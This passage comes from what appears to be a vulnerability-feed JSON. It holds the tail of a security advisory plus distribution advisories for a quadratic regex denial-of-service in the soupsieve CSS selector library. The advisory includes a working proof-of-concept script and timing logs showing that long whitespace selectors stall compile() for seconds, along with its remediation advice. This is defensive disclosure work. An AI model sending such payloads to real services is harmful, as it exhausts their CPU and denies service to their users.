O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","status":"published","published":"2026-10-01T16:38:33.150066Z","modified":"2026-10-01T17:45:16.845996024Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"UBUNTU-CVE-2026-85999","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:00Z","modified":"2026-10-17T13:01:13.61064051Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"AZL-103322","title":"CVE-2026-85999 affecting package python-soupsieve 2.6-3","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:17.528763Z"},{"id":"openSUSE-SU-2026:11866-1","title":"python313-soupsieve-2.9.2-1.1 on GA media","description":"These are all security issues fixed in the python313-soupsieve-2.9.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-23T00:00:00Z","modified":"2026-09-24T18:23:14.724446832Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22149-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-10-21T07:48:59Z","modified":"2026-10-23T17:23:12.811279095Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:24267-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-10-21T08:29:20Z","modified":"2026-10-23T17:23:10.770045937Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:4365-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-09-28T15:01:26Z","modified":"2026-09-29T09:15:08.502993647Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:5164-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues:\n\n- CVE-2026-85999: quadratic complexity when running the whitespace/comment trimming regex `RE_WS_END` can lead to DoS\n  (bsc#1281119).\n- CVE-2026-86000: quadratic complexity when running the `IDENTIFIER` / `VALUE` selector sub-patterns can lead to a DoS\n  (bsc#1281120).\n","status":"published","published":"2026-11-10T09:43:16Z","modified":"2026-11-10T20:30:03.946626487Z","updated_at":"2026-11-10T20:43:04.310349Z"}]}}
